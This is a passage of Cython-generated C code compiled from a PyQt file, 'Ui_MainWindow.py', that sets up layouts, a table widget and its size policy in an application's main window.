__Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 860, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 860, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__544, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 860, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":861 * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") # <<<<<<<<<<<<<< * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 861, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 861, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__545, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 861, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":862 * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) * self.horizontalLayout_9.setObjectName("horizontalLayout_9") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 862, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 862, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_3) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 862, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 862, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_9, __pyx_t_4) < 0) __PYX_ERR(0, 862, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":863 * self.verticalLayout.setObjectName("verticalLayout") * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) # <<<<<<<<<<<<<< * self.horizontalLayout_9.setObjectName("horizontalLayout_9") * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 863, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 863, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__546, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 863, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":864 * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) * self.horizontalLayout_9.setObjectName("horizontalLayout_9") # <<<<<<<<<<<<<< * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 864, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 864, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__547, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 864, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":865 * self.horizontalLayout_9.setContentsMargins(-1, 1, -1, 1) * self.horizontalLayout_9.setObjectName("horizontalLayout_9") * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage, __pyx_t_4) < 0) __PYX_ERR(0, 865, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":866 * self.horizontalLayout_9.setObjectName("horizontalLayout_9") * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_7}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_7}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_7); __pyx_t_3 = 0; __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 866, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":867 * self.TM_T_passage = QtWidgets.QTableWidget(self.verticalLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 867, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__548, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 867, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":868 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) * self.TM_T_passage.setSizePolicy(sizePolicy) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 868, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__549, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 868, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":869 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.TM_T_passage.setSizePolicy(sizePolicy) * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 869, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_7) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 869, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_9}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 869, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":870 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) * self.TM_T_passage.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_sizePolicy); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_9, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 870, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":871 * sizePolicy.setHeightForWidth(self.TM_T_passage.sizePolicy().hasHeightForWidth()) * self.TM_T_passage.setSizePolicy(sizePolicy) * self.TM_T_passage.setMaximumSize(QtCore.QSize(16777215, 16777215)) # <<<<<<<<<<<<<< * self.TM_T_passage.setBaseSize(QtCore.QSize(0, 0)) * font = QtGui.QFont() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__550, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 871, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 